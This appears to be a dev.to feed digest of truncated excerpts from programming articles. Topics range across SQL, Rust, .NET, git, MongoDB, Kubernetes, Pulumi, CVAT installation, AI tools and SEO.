    ├── 🧠 Introduction to Databases & What is SQL ├── 🛠️ Installing SQL Tools (MySQL, SQLite, PostgreSQL, DBeaver) ├── 📄 Understanding Tables, Rows, Columns & Data Types ├── 🔍 SELECT Statement – Fetching Data ├── 🎯 WHERE Clause – Filtering Records ├── 📊 ORDER BY – Sorting Results ├── 🎛️ LIMIT / TOP – Restricting Output ├── ✍️ INSERT INTO – Adding New Data ├── 🔄 UPDATE – Modifying Existing Data ├── ❌ DELETE – Removing Data ├── 🏗 CREATE, ALTER, DROP Tables ├── 🔗 SQL JOINS – INNER, LEFT, RIGHT, FULL OUTER ├── 🧮 Aggregate Functions – COUNT, SUM, AVG, MIN, MAX ├── 🧱 GROUP BY & HAVING – Grouped Calculations ├── 🔁 Subqueries – Nested SQL Queries ├── 🧠 CASE Statements – Conditional Logic ├── 🛡 Constraints – PRIMARY KEY, FOREIGN KEY, NOT NULL ├── 🚀 Practice Projects – Library DB, Sales Report, Student Records ├── 📈 Next Steps – Indexing, Views, Triggers, Stored Procedures Comment for more  ( 6 min )
    ChatGPT Search Just Changed the Game: What Actually Matters Now
    Google's had a comfortable run as the gatekeeper of internet traffic. Twenty-five years of SEO professionals optimizing for one algorithm, one set of rules, one way of thinking about search. Then ChatGPT Search launched. Now we're not just optimizing for crawlers and ranking factors. We're optimizing for AI that reads, understands, and synthesizes content before deciding whether to cite it. The rules haven't just changed—the entire playing field shifted. And here's the thing: most of the SEO advice you'll find is still stuck in 2019. "Just create quality content" they say, as if that phrase has ever meant anything specific. So let's talk about what actually works when AI is the middleman between your content and your audience. ChatGPT Search doesn't crawl the web like Google. It uses a com…  ( 13 min )
    I built a Lisp VM in Rust that proves its own execution trace (STARKs + Winterfell)
    Over the last few weeks I've been building an 8-register VM in Rust for a small Lisp-like DSL, plus a proof pipeline that turns programs into STARK proofs of execution. The DSL is compiled by the zk-lisp-compiler crate into a compact Op sequence, and proofs are generated through a dedicated backend built on top of the winterfell crate. A few details that might be interesting from a Rust/efficiency point of view: I defined a unified execution trace (VM registers, RAM tables, Merkle gadget, Poseidon2 lanes, ROM accumulator) in a single Columns layout. The VmTraceBuilder simulates the Op sequence, seeds registers, and fills a Winterfell TraceTable while keeping allocations predictable (pre-zeroed trace, cached Poseidon2 params, partition selection). The backend implements a SegmentPlanner tha…  ( 8 min )
    EXPERIENCE: ZED CODE EDITOR
    My Experience With Zed Code Editor Introduction I’ve been wanting to write something like this for a long time. If you’ve seen my channel, you already know I have a whole series for these kinds of long-format talks — the Experience Series, where I share what it feels like to actually use a program, tool, OS, browser, or whatever madness I touched that week. So far, I’ve done this only in video format: THE MINI MICRO EXPERIENCE THE BRAVE BROWSER EXPERIENCE Those covered Brave Browser (goated but heavy — classic Chromium Energy) and Mini Micro (maybe the most underrated tool for learning game dev). But today, we're not talking browsers or game engines. Today I’m talking about the absolute GOATED code editor for me: ZED. CODE. EDITOR. I’ll also mention some other editors I trie…  ( 8 min )
    Razor Pages vs MVC: Quando escolher e por quê
    Razor Pages vs MVC: Quando escolher e por quê Uma análise prática e arquitetural para quem constrói aplicações .NET modernas no mundo real. Ao iniciar um novo projeto web em .NET, uma das primeiras decisões é escolher entre ASP.NET Core MVC e ASP.NET Core Razor Pages. Embora ambos coexistam dentro do mesmo framework, eles representam modelos mentais diferentes — e essa escolha impacta clareza, manutenção, ritmo de entrega e arquitetura. Neste artigo, vamos explorar quando Razor Pages é superior ao MVC, quando o contrário é verdadeiro, e — principalmente — como arquitetos e desenvolvedores podem decidir de forma prática e segura. A diferença entre Razor Pages e MVC não é técnica — é conceitual. Controllers + Actions Fluxo centralizado Flexível para APIs e rotas complexas Ótimo para aplicações grandes e arquitetadas PageModel por página Fluxo distribuído Ideal para CRUDs e sistemas de gestão Arquitetura limpa e previsível Em resumo: MVC organiza por tipo. Razor Pages organiza por funcionalidade. Cada página possui seu próprio PageModel, facilitando leitura e manutenção. Menos arquivos, menos roteamento manual, mais foco em regras e serviços. ERP, CRM, backoffice, intranets — todos combinam melhor com páginas orientadas a funcionalidade. Domínio → Serviço → Repositório → PageModel → UI. Fluxos avançados, lógica rica de controle. React/Angular pedem APIs independentes. MVC oferece mais controle. Quando seu design exige isso. Tipo de Projeto Melhor Opção CRUD corporativo Razor Pages Ferramenta administrativa Razor Pages Portal interno Razor Pages Aplicação SaaS baseada em formulários Razor Pages API + SPA MVC ou Minimal APIs Rotas complexas MVC Para a maioria dos sistemas reais: Comece com Razor Pages. Só evolua para MVC se realmente houver necessidade. Razor Pages simplifica, organiza e acelera entregas — especialmente quando combinado com serviços, repositórios, validações e um bom guideline arquitetural. 👉 Criando uma ASP.NET Core WebApp Razor Pages do zero (em 5 minutos).  ( 7 min )
    Use Fork Git Client to Remove Passwords from Git History
    What is Fork Fork is a git client that runs your git commands for you inside of an interface. Similar to other products like GitHub Desktop abd GitKraken. For provides a great deal of flexibility when setting up custom commands. The interface is decent and provides quick and easy GUI for all your Git needs. However, being able to setup your client to run various commands on the repo is very handy. Currently I have my JetBrain's products plus the ability to scan for secrets using nosey parker. All very very handy. I even use AICommit2 from time to time with a click of a button. Using fork to delete a file out of git history. 1.) Create a Custom Command 2.) Call the custom command 'Remove Selected File from History' Target needs to be File visible in file context menu 3.) Select Bash Command Add the following Script: git filter-branch --force --index-filter "git rm --cached --ignore-unmatch '${file}'" --prune-empty --tag-name-filter cat -- --all && git for-each-ref --format="%(refname)" refs/original/ | xargs -n 1 git update-ref -d && git reflog expire --expire=now --all && git gc --prune=now --aggressive Now you can simply right click on the offending file and remove its entire history (remember to ignore the file so it doesn't get committed again).  ( 6 min )
    The 5 Most Common Data Quality Issues (and How Analysts Can Fix Them)
    Data analysts spend more time cleaning data than analyzing it. In fact, in most real-world projects, 60–80% of your time goes into preparing data for meaningful insights. Here are the five most common data quality problems and practical steps to solve each one. 1. Missing or Null Values Missing data can distort metrics, create gaps in reports, or lead to inaccurate ML models. Causes: How to fix it: Identify missingness patterns using COUNT(*) in SQL or df.isna().sum() in Python. Drop rows only when missing data is irrelevant. Impute using averages, medians, or domain logic. Use Power Query’s “Replace Errors” or “Fill Down” functions for structured fixes. 2. Inconsistent Formatting You’ve probably seen this: “Kenya”, “kenya”, “K E N Y A”, or mismatched date formats in the same column. Why it happens: How to fix it: Apply standard casing (upper/lower/title). Convert all dates to a unified ISO format (YYYY-MM-DD). Use Excel Power Query’s “Transform → Format” options. In SQL, standardize with functions like UPPER(), TRIM(), or TO_DATE(). 3. Duplicate Records Why it happens: How to fix it: Identify duplicates using ROW_NUMBER() windows in SQL. Use Power Query’s “Remove Duplicates”. Implement unique IDs early in the pipeline. In Python, use df.drop_duplicates(). 4. Outliers and Incorrect Values Some values are valid extreme cases; others are simply errors (like a customer aged 600). Why it happens: How to fix it: Visualize distributions using box plots or histograms. Apply domain thresholds or rule-based logic. Use interquartile ranges or z-scores for statistical outlier detection. Create automated validations in Power BI or SQL. 5. Mixed Granularity Data at different levels combined into one column or table — e.g., weekly and monthly data in the same dataset. Why it happens: How to fix it: Split datasets by granularity before analysis. Create dimensional tables for dates, products, etc. Aggregate or disaggregate consistently before joining. Use a proper star schema when possible.  ( 7 min )
    How to Configure DNS When Using a VPN
    Configuring DNS correctly while using a VPN is one of the most effective ways to enhance your online privacy, security, and browsing efficiency. Many users rely solely on their VPN without realizing that their DNS settings can still reveal their activities. In this blog, you’ll discover how to configure DNS when using a VPN, why it matters, and the top benefits of doing it right. Faster browsing speed Access to geo-restricted services Prevention of DNS leaks Better protection against cyber threats Why Configuring DNS With Your VPN Is Essential Google DNS: 8.8.8.8 / 8.8.4.4 Step 3: Configure DNS on Your Device Select your active connection Manually enter the DNS values Step 4: Enable DNS Leak Protection in Your VPN App Most premium VPNs include built-in DNS leak protection. Turn it on to ensure airtight security. Step 5: Test for DNS Leaks Use tools like “DNS Leak Test” to confirm your setup is safe.  ( 7 min )
    How to Check the Number of Lines Changed in Your Current Git Branch Compared to Main
    When working with Git, developers often need to understand how much their current branch differs from the main branch. This can help in assessing the scope of changes, planning reviews, or making decisions before merging. One useful metric is the total number of lines added and removed between branches. Counting the lines of code changed gives a quick snapshot of the volume of work done. It helps to: Gauge the size of your feature or fix. Estimate code review effort. Track progress against expectations. Identify large or complex changes that might require extra testing. The Git command line provides simple ways to check these differences precisely. The most straightforward command is: git diff --shortstat main...HEAD Here’s how it works: git diff shows changes between commits or branches. main...HEAD compares your current branch (HEAD) with the main branch. --shortstat gives a brief summary report with the total files changed, and lines added and deleted. For example, running this command might show: 3 files changed, 45 insertions(+), 20 deletions(-) This means across 3 files, you've added 45 lines and removed 20 lines compared to main. If you want to see the exact line changes per file, you can use: git diff main...HEAD --numstat This command outputs a list where each line contains the number of added and deleted lines per file. It’s handy for deeper inspection or for scripting purposes.  ( 7 min )
    🧐 Cyber Monday Reality Check for Devs
    Thinking about buying “discounted” software this Cyber Monday? Before you spend big, remember: there’s almost always an open-source alternative that costs 90% less, all year round. As developers, we know the value of transparency, flexibility, and community-driven tools. Choosing open source doesn’t just save money - it gives you freedom, control, and a better understanding of your stack. 💻 Stop paying for features you might never use. Choose wisely. Don’t just save today, build sustainably, every day.  ( 6 min )
    The Great Logic Revolution: Why I Killed && and || in My Programming Language?
    The Great Logic Revolution: Why I Killed && and || in My Programming Language For decades, programmers have struggled with boolean operator confusion. How many times have you seen: if (user.isActive && user.hasPermission || user.isAdmin) { // Wait, does this mean (A && B) || C or A && (B || C)? } I decided enough was enough. In Coderive v0.2.3, I completely removed && and || operators. Here's why and what replaced them. The Problem with Traditional Boolean Operators · Precedence confusion: && vs || precedence trips up beginners and experts alike The Solution: Quantifier-First Logic Coderive introduces any[] and all[] quantifiers: # Instead of: if (name != "" && age >= 0 && age = 0, age = 60] # "All scores must be 60 or above" any[users.isActive] # "At least one user must be active" 🐛 Fewer Bugs No more operator precedence debates. The syntax forces clarity. 📚 Beginner Friendly Reads like natural language, lowering the learning curve. ⚡ Built-in Short Circuiting if all[expensiveOperation(), shouldSkip] { # expensiveOperation() won't run if shouldSkip is false } Built Against All Odds What makes Coderive unique is its development story: · Built entirely on a phone using Java NIDE, QuickEdit, and Termux Technical Architecture Coderive isn't just syntax sugar - it's a full compiler: · Dual parser system: ANTLR + manual recursive backtracking Try It Yourself # Run interpreter java -jar coderive.jar program.cod # Compile to native java -jar coderive.jar --native program.cod Join the Discussion I'm convinced quantifier-first logic is the future, but I want to hear from you: · Would you use a language without && and ||? Check out the project: Coderive on GitHub Let's rethink programming together! 🚀  ( 7 min )
    N8N Code Node Best Practices for Python (+Task Runner Examples)
    1. Introduction: The Engine Room of Automation n8n is a robust, open-source workflow automation tool and low-code platform. While standard nodes (Set, If, Merge, Switch) handle linear task execution, the Python Code Node represents the "engine room" of sophisticated automation. It allows users to implement custom logic, complex data manipulations, and performance optimizations that standard nodes cannot achieve. The Code Node and Inline Expressions empower users to perform operations—specifically in data science, string manipulation, and mathematical calculation—that are often more verbose or difficult in JavaScript. A single Python node can effectively replace chains of 10 to 15 standard nodes, resulting in cleaner, more maintainable, and significantly faster workflows. Why Use Python i…  ( 16 min )
    Cursor’s Secret Rules (and the Folder You Need to Understand)
    Cursor enforces a few core habits to keep edits safe, traceable, and user-friendly. The environment supplies read, search, and apply_patch tools—always prefer these over generic shell commands. Terminal sessions persist between commands, so change into the repository once per session and reuse that shell to preserve context. Because other contributors or automated processes may have touched files, never revert or overwrite changes you didn’t create; instead, work around them unless the user explicitly asks otherwise. Cursor forbids destructive history rewrites such as git reset --hard or force-checkouts unless specifically requested, and it discourages amending commits unless told to do so. When adding comments, keep them concise and focused on explaining non-obvious logic. Default t…  ( 7 min )
    How I Built a Pseudocode Runner (With Zero Coding Experience) Using Compyle’s Tools
    I recently published a simple pseudocode runner/editor, and the interesting part is that I built it without any real coding background. The project relies almost entirely on the tools provided by Compyle, including their custom lexer and parser. My contribution was mainly setting up the environment, hosting the project, and making the interface usable. Why I Created This Students preparing for IGCSE and A-Levels often need a quick way to test pseudocode. Most existing tools are either outdated or limited, so having something modern, clean and accessible felt useful. How It Works The heavy lifting in this project wasn’t done by me. Compyle’s internal system handles the important logic: A custom lexer to tokenize pseudocode A custom parser that interprets the structure CodeMirror for the editor interface A clean UI already integrated into their setup Since all the complex parts were already built, I focused on integrating everything, hosting the project, and ensuring the platform feels smooth to use. What I Actually Did Set up hosting Connected the existing components Tweaked the UI where needed Tested the runner for basic I/O behavior I didn’t build CodeMirror, and I didn’t write the lexer or parser. Compyle’s tools handled all of that. My main role was putting the pieces together and making the runner publicly accessible. Why I’m Sharing This A lot of beginners think they need years of experience before they can launch something. This project shows that with the right tools, you can build something functional even if you’re just getting started. If you want to try the pseudocode runner, here’s the project link: Https://pseudorun.tech  ( 7 min )
    How to Prevent Backup-related Throttling Without Losing Data (or Mind)
    Consider that your backup is running smoothly. Your dashboards are green. The DevOps team is sleeping peacefully. And yet, behind the calm surface, something is happening. Your API limits are being chewed up, call by call, until you’re throttled into silence. Suddenly, your system stalls – quietly and invisibly. The irony is, you build a backup system for resilience. Now, it’s the vulnerability. There’s a quiet assumption built into most backup systems. It’ll resolve itself if you just throw enough bandwidth, retries, and threads at the problem. However, in DevOps, it’s naive. Dangerous. Why is it dangerous? When every DevOps tool communicates through rate-limited APIs, such as GitHub, GitLab, Bitbucket, or Azure DevOps, there is no alternative. SaaS vendors aren’t being punitive when the…  ( 10 min )
    Working with Hibernate in Java - Part 1: Using xml config
    We don’t want to use Spring because, at the moment, we are trying to learn Hibernate, which is a framework itself. So we just want to focus on one framework at this point, and that is Hibernate. First, we create the most basic Maven project Adding hibernate-core dependency org.hibernate.orm hibernate-core 7.1.8.Final We also need to connect to the database, for that we need a vendor, and in this case we are using MySQL. So we need the mysql-connector dependency. com.mysql mysql-connector-j 9.5.0 We need to connect to the database now. There are 2 ways to do this: Using xml file: In resources, we cr…  ( 8 min )
    Infrastructure as a Service (IaaS): The Backbone of Modern Cloud Computing
    In today’s fast-moving digital world, businesses need flexible, scalable, and cost-effective infrastructure to keep up with rapid innovation. That’s exactly where Infrastructure as a Service (IaaS) makes a powerful difference. Instead of investing in physical servers, storage, and networking hardware, organizations can access these resources on-demand through the cloud—paying only for what they use and scaling seamlessly as their needs evolve. What Makes IaaS So Essential Today? Every digital service—from mobile apps to enterprise software—needs reliable infrastructure. Traditional on-premise setups are expensive, slow to scale, and demand regular maintenance. IaaS eliminates those challenges by offering cloud-hosted infrastructure that can be provisioned in minutes rather than weeks. Whet…  ( 7 min )
    From MIT Dorm Room Ethereum Mining to a $1B Blockchain: The Vana Story of Taking Back Your Data
    Fast forward to December 2024: Anna and her co-founder Art Abal just launched Vana—a blockchain that lets people own and monetize their personal data—and it's valued at over $1 billion before even trading publicly. But here's the twist that makes this story absolutely wild: Anna's bedroom wall didn't have posters of pop stars or athletes. She had a picture of Janet Yellen, the U.S. Treasury Secretary. This is the story of two Filipino entrepreneurs who met at MIT, worked on data labeling projects in Philippine slums, and decided to build a blockchain that could fight back against Big Tech's data monopoly. And spoiler alert: they just became the 62nd project on Binance Launchpool, with their mainnet launching on December 16, 2024. Let's dive in. Anna Kazlauskas came to MIT in 2015 thinking …  ( 15 min )
    Introducing PQNT — A New Power-Law Quantization Method
    _By: Michael Anggi Gilang Angkasa 🌟Why I Built PQNT For full repository : https://github.com/Michael-Obs66/pqnt  ( 6 min )
    Cross-Modal Knowledge Distillation for smart agriculture microgrid orchestration under multi-jurisdictional compliance
    Cross-Modal Knowledge Distillation for smart agriculture microgrid orchestration under multi-jurisdictional compliance It all started when I was experimenting with multi-modal AI systems for environmental monitoring. I had been working on a project that combined satellite imagery, IoT sensor data, and weather patterns to predict crop yields. During my investigation of knowledge transfer between different AI modalities, I stumbled upon something fascinating: the same techniques I was using to transfer learning between vision and sensor models could revolutionize how we manage agricultural microgrids across regulatory boundaries. While exploring cross-modal distillation techniques, I discovered that the challenge wasn't just about transferring knowledge between different data types, but ab…  ( 12 min )
    🚀 What We Learned After Talking to 200+ Developers About Building Products
    Next month we’re launching a platform we’ve been quietly building for a while — but before talking about the product itself, I wanted to share the real story behind why we built it. Over the past month, more than 200 developers and founders joined our Beta list. Most of our time since then has been spent in calls, DMs, and long user interviews trying to understand a simple question: “Why does it still take so long to turn an idea into a working product — even with all the AI tools available today?” What we found was surprisingly consistent across teams, solo devs, and early-stage founders. 📝 1. Requirements Are Still the Silent Bottleneck Most people assume coding is the slow part. I don’t know if my requirements are complete until something breaks. We start building and realize half the …  ( 8 min )
    Application Modernisation: Paving the Way for Future-Ready Digital Systems
    In a rapidly evolving digital landscape, businesses can no longer afford to depend on aging, inflexible, or hard-to-maintain applications. Application modernisation has become the strategic pathway for companies looking to stay competitive, enhance performance, and meet rising customer expectations. Instead of discarding legacy systems entirely, modernisation focuses on transforming them—making your applications faster, scalable, and more aligned with today’s cloud-driven world. Why Application Modernisation Matters Today Legacy applications often come with technical debt, outdated architectures, and high maintenance costs. They might still house valuable business logic, but they limit innovation and slow down digital transformation efforts. As customer demands grow and technology advances…  ( 7 min )
    The Best AI Agent For Frontend - Kombai
    AI Agents have evolved a lot from when I started using them in 2022 till now. If you pay close attention, you will notice that these agents are growing not just in capabilities, that is, the kind of task they can do, but in understanding, which in my opinion is far important than the type of tasks they do. I say this for two reasons: An AI agent is as good as the person using it. An AI agent with a deep understanding of a particular context or subject matter will outperform generalistic AI agents long-term. If you look at this from a wide view, the same applies to humans. A person who has developed knowledge, understanding and expertise in one area, for example, Finance, has built not just skill but discipline over an extended period of time. Say that person wants to learn Product des…  ( 15 min )
    Introducing the All-New SLS SQL Copilot
    This article is the first time that Alibaba Cloud Simple Log Service (SLS) systematically unveils the product philosophy, architecture design, and core technology accumulation behind SLS SQL Copilot. We will provide an in-depth look at how this intelligent analysis assistant starts from real user needs and integrates cutting-edge AI capabilities with over a decade of SLS log analysis best practices to create a future-oriented and intelligent log analysis experience. Origin Eight years ago, SLS launched its SQL analysis service for the first time. This transformed log data from simple storage into a subject for interactive query analysis, and users began to realize the value of their data. Five years ago, SLS experimented with self-service data exploration. The Data Explorer service was des…  ( 17 min )
    How Pagination Saved an API from Crashing: A Practical Case Study
    The Problem That Inspired This Article Recently, I encountered an interesting situation. I opened a certain web resource (which I won't name) and tried to view a list of data. The page started loading... and loading... and the browser froze. After restarting the page and opening DevTools, the picture became clear: the API endpoint was returning all records in a single request - tens of thousands of rows in a JSON response over 50 MB in size. The browser simply couldn't handle it. Testing the request through Postman confirmed my suspicions: GET /api/items Response: [ { "id": 1, "name": "Item 1" }, { "id": 2, "name": "Item 2" }, ... { "id": 50000, "name": "Item 50000" } ] // 50 MB JSON, response time: 12 seconds This incident prompted me to write an article about how to properly s…  ( 10 min )
    Implementing AIOps on Xperience by Kentico with n8n and GitHub Coding Agents: Automated Resolutions with Human in the Loop
    Modern teams can resolve production issues faster by connecting Xperience by Kentico with n8n and AI coding agents. The goal is simple: capture errors, route them to an orchestrated workflow, classify root causes, and draft fixes as governed pull requests. Keep humans in control, protect secrets, and maintain a complete audit trail. 💡🛠️🔒 This post lays out a practical architecture for software engineers, DevOps practitioners, and solutions architects. It covers event collection, scheduled forwarding, n8n orchestration, AI triage, GitHub automation, and governance. The design emphasizes human-in-the-loop, security, and observability at every step. Why this matters, you get speed without losing control. 🙂📈 Event capture in Xperience by Kentico via the built-in event log. ✅ Scheduled tas…  ( 10 min )
    Transform Your OpenAPI Specs Into Living Documentation: The Complete Guide
    Documentation debt is real. Every developer knows the sinking feeling of discovering their API docs are three versions behind the actual implementation. The endpoint that was renamed last sprint? Still documented under the old name. That new required parameter? Nowhere to be found in the docs. The traditional approach to API documentation—manually writing and updating documentation files—creates an unsustainable maintenance burden. But there's a better way: automatic documentation generation from your OpenAPI or Swagger specifications. This isn't about shortcuts or compromising quality. It's about leveraging the specifications you're already maintaining to create documentation that's always accurate, always current, and always trustworthy. The fundamental problem with manual documentation …  ( 14 min )
    The Ultimate Guide to Automotive MOST Cables
    I. What Is an Automotive MOST Cable? Core Basics Key Definition & Working Principle An automotive MOST cable is the physical transmission medium for the MOST bus system, which transfers digital data (audio, video, navigation maps, and sensor data) between vehicle components at speeds up to 150 Mbps (for MOST 150, the latest standard). Unlike point-to-point wiring, MOST uses a ring topology: all connected devices (e.g., head unit, speakers, rear-seat entertainment) form a closed loop, allowing data to flow in either direction. The cable’s core function is to maintain signal integrity over long distances (up to 20 meters in a vehicle) while resisting electromagnetic interference (EMI) from engine components and other wiring. This is achieved through specialized materials and shielding—critic…  ( 11 min )
    Perl 🐪 Weekly #748 - Perl v5.43.5
    Originally published at Perl Weekly 748 Hi there, Just couple of days ago, we had another development release: Perl v5.43.5. Among the many changes in this release, my favourite is Named Parameters in Signatures. For further details, please check out the perldelta page. The LPW 2025 is finally happening on 29th Nov 2025. So if you are available then please do join us for the tech meet. I would request you to register if you are planning to attend as this will help the organisers schedule the day accordingly. It's a great opportunity to meet friends and attend talks from speakers like Sawyer, Paul Evans and Stevan Little. I have submitted a talk, Design Patterns in Modern Perl, and it has been accepted. I am excited to share my ideas with fellow tech friends. Here is the list of talks for y…  ( 18 min )
    Using MongoDB with Brighter V10
    One of the new providers that Brighter V10 supports is MongoDB. In this article, I'll explore how to use it with the Inbox and Outbox patterns. MongoDB is a popular NoSQL document database that stores data in flexible, JSON-like documents. Its scalability and performance make it an excellent choice for high-throughput applications, and its document model maps naturally to the message structures often used in distributed systems. We will build a .NET 8+ service that consumes/produces messages from a Kafka topic, processes them using Brighter, and uses a MongoDB database as the persistent inbox and outbox to guarantee that all messages are sent. We also need to configure a distributed lock to avoid publishing duplicate messages when running this application in a multi-node environment. You c…  ( 10 min )
    Firebase Studio: Google's Game-Changer for AI App Development 🔥
    Overview Hey everyone! 👋 If you've been paying attention to the dev world lately, you probably noticed Google dropped something pretty wild: Firebase Studio. And trust me, this isn't just another IDE with a fancy AI chatbot slapped on the side. This is a full-blown, cloud-based development environment that fuses Project IDX, Firebase services, and Gemini AI into something that feels genuinely different. Think of it as your complete AI app development lab, accessible from anywhere, with an AI assistant that doesn't just autocomplete, it understands your codebase and can actually take action. Let's start! 🤙 Firebase Studio is a cloud-based, agentic development environment powered by Gemini that includes everything developers need to create and publish production-quality AI apps quickly, …  ( 11 min )
    Usando MongoDB com Brighter V10
    Uma das novas implementação do Brighter V10 é o MongoDB. Neste artigo, explorarei como utilizá-lo com os padrões Inbox e Outbox. O MongoDB é um popular banco de dados NoSQL de documentos que armazena dados em documentos flexíveis no formato JSON-like. Sua escalabilidade e desempenho o tornam uma excelente escolha para aplicações de alto throughput, e seu modelo de documentos mapeia naturalmente para estruturas de mensagens comumente usadas em sistemas distribuídos. Construiremos um serviço .NET 8+ que consome/produz mensagens de um tópico Kafka, processa-as usando Brighter, e utiliza um banco de dados MongoDB como inbox e outbox persistentes para garantir que todas as mensagens sejam enviadas. Também precisamos configurar um lock distribuído para evitar a publicação de mensagens duplicadas…  ( 10 min )
    INTRODUCTION TO DBT(Data Build Tool)
    A Beginner-Friendly Guide to Modern Analytics Engineering This article introduces dbt (data build tool) and explores several foundational concepts: What dbt is Core principles Why we transform data How dbt structures SQL development How macros, tests, documentation, and ref work 🚀 What is dbt? dbt is an open-source transformation framework that allows anyone comfortable with SQL to build modular, version-controlled, production-grade data pipelines. Unlike ingestion tools, dbt does not move data; it transforms the data already in your warehouse. dbt helps reshape and standardize raw data for analytics: Cleaning Deduplication Restructuring Filtering Aggregation Joining 🏗 dbt Is Open Core DBT CORE DBT CLOUD Open-source data transformation Fully mana…  ( 7 min )
    "As Cloud-like as Possible" Data Science: Local MLOps with Docker Compose
    Emulates cloud-native MLOps locally I have built a data science environment that allows me to construct data pipelines and manage machine learning experiments on a local PC, while providing a user experience that is as cloud-like as possible. According to Gemini: This environment functions as a sandbox for learning a "cloud-native development style" by replacing major components used in cloud environments—such as S3, orchestrators, and ML tracking services—with local Docker containers. Alright. If you say so, this serves as educational content. The source code (docker-compose.yaml, etc.) is available on GitHub. Data store: Versity S3 Gateway emulates S3 storage. Source code repository: Just a Git daemon. Pipeline: Prefect orchestrates pipelines. Experiment management: MLflow tracks model…  ( 7 min )
    Getting Started With Python Poetry
    Dependency management, version pinning, and virtual environments often become a source of frustration in Python projects. Different machines install different versions, requirements files become messy, and package conflicts pop up unexpectedly. This is exactly where Poetry steps in — a modern tool that brings structure, consistency, and automation to Python development. In this guide, you’ll learn everything you need to start using Poetry confidently. How to create new Python projects with Poetry How to manage virtual environments How to read and configure pyproject.toml How to pin dependency versions Why poetry.lock is essential How to use the most important Poetry commands How to add Poetry to an existing project Every Python project depends on external packages — FastAPI, NumPy, Pandas,…  ( 8 min )
    Installing CVAT on Fedora - Quick Guide
    Documentation lacks instructions for installation on Fedora. So, here is a quick guide. sudo dnf update -y sudo dnf install -y dnf-plugins-core For Fedora 41+: sudo dnf config-manager addrepo --from-repofile=https://download.docker.com/linux/fedora/docker-ce.repo For Fedora 40 or earlier: sudo dnf config-manager --add-repo https://download.docker.com/linux/fedora/docker-ce.repo Install Docker packages: sudo dnf install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin -y sudo systemctl start docker sudo systemctl enable docker sudo groupadd docker sudo usermod -aG docker $USER # Log out and back in for changes to take effect sudo dnf install git -y git clone https://github.com/cvat-ai/cvat cd cvat For a specific version: git clone -b v2.1.0 https://github.com/cvat-ai/cvat cd cvat docker compose up -d docker exec -it cvat_server bash -ic 'python3 ~/manage.py createsuperuser' Open Google Chrome and navigate to: http://localhost:8080 Log in with your superuser credentials. Command Purpose docker compose ps Check container status docker compose logs -f View live logs docker compose down Stop all containers docker exec -t cvat_server python manage.py health_check Health check Browser: CVAT only supports Google Chrome Version check: Verify your Fedora version and DNF version compatibility Storage: Data is stored in Docker volumes by default Network access: Set CVAT_HOST environment variable if accessing from other machines That's it! CVAT is now ready for annotation tasks.  ( 7 min )
    Pulumi - DNS in AWS
    Pulumi - DNS in AWS What This post explores two things. First it explores setting up a DNS domain, zone and records as part of route 53. Then, we will go further and explore using output of other services as records. For the purposes of demonstrtation this will be a new record that will be created if an EC2 instance exists. The pattern of route53 is the last step in the infrastructure journey. Setting up infrastructure, and assigning a friendly domain name, and www record to the infrastructure is a relatively normal thing to do. The pulumi templates in this article will allow you to deploy this pattern quickly and easily. I will re-use the EC2 instance that I have in another Pulumi stack in order to have a virtual machine up and running. I will also delegate a domain to AWS a…  ( 12 min )
    The Gradle Mystery - When Your Code Works... Until It Doesn't 🕵️
    Date: November 24, 2025 Incident: App built successfully 2 minutes ago, now refuses to compile Developer Status: Confused and slightly panicked Coffee Consumed: Probably not enough Picture this: You're coding away, your Flutter app is running beautifully on the emulator. You make a small change, hit save, and BAM! Your world collapses with this cryptic message: FAILURE: Build failed with an exception. * What went wrong: com/sun/xml/bind/v2/model/runtime/RuntimeNonElement (wrong name: com/sun/xml/bind/v2/model/runtime/RuntimeNonElem%nt) Wait... RuntimeNonElem%nt? Where did that random % come from? Are we getting hacked? Is my keyboard broken? Did I accidentally summon a demon while coding at 2 AM? Spoiler alert: None of the above. Welcome to the wonderful world of corrupted Gradle cac…  ( 9 min )
    The Rise of GPTGirlfriend: Navigating the World of AI Companionship
    An in-depth exploration of GPTGirlfriend, a sophisticated AI companion, examining its technology, societal impact, and the ethical considerations of human-AI relationships. Introduction The concept of companionship has undergone a radical transformation in the digital age. From pen pals to social media friends, the ways we connect are constantly evolving. The latest frontier in this evolution is the emergence of sophisticated artificial intelligence designed not just to assist, but to relate. At the forefront of this movement is the phenomenon of the GPTGirlfriend. This is not a physical entity, but a complex language model programmed to simulate the nuances of a romantic or deeply personal partnership. The rise of the GPTGirlfriend represents a significant shift in human-computer interact…  ( 9 min )
    CSS
    Learning CSS-Cascading Style Sheet Language used to describe the presentation and visual formatting of a Document written in markup language like HTML and XML. we have three ways to apply: Inline, Internal, External. Inline : Styles are applied directly to the element using "style" attribute. That's for Quick changes and discouraged method. Internal : Style are applied using tag in head section of the HTML Document. External : This is the most common and recommended method. Styles a defined in separate CSS file to linked into the HTML page using Link tag. selectors: CSS selectors define which HTML elements your CSS rules will style. The mainly using selectors in CSS. Class selectors, ID selectors, Universal Selector, Element Selector, Attribute Selectors, Pseudo-class Selectors,  ( 6 min )
    8-Bit Music Theory: Kirby Air Riders' Music is FUN FUN FUN
    Kirby Air Riders’ “Starlit Journey” Deep Dive This video breaks down the Kirby Air Riders main theme, “Starlit Journey,” and shows exactly why it’s bursting with joy. You’ll get a timestamped tour of the track—from the dreamy 0:59 intro and catchy 2:47 verse to the uplifting 5:56 chorus, emotive 9:51 bridge, and triumphant final choruses at 10:47. Along the way, the host shares fun music-theory insights into what makes each section so infectious, and wraps up with a heartfelt shout-out to why they love this tune. Plus, if you’re craving more, there are links to Patreon, merch, Discord, and Twitter for the full 8bit Music Theory experience. Watch on YouTube  ( 6 min )
    How to Build a High Availability SaaS Platform with Kubernetes
    High availability is one of the most important requirements for any SaaS platform. Users expect applications to work all the time, in every region, under any conditions. Building a high availability SaaS architecture is not only about adding more servers. It requires careful planning, solid infrastructure, reliable failover mechanisms, and consistent observability. Kubernetes provides a strong foundation for these requirements and helps teams design systems that stay online even during failures. In this article, you will learn how to build a highly available SaaS platform using Kubernetes. This guide focuses on the technical aspects that developers and architects rely on when designing cloud native SaaS systems. You will also find answers to common developer questions like how Kubernetes …  ( 9 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
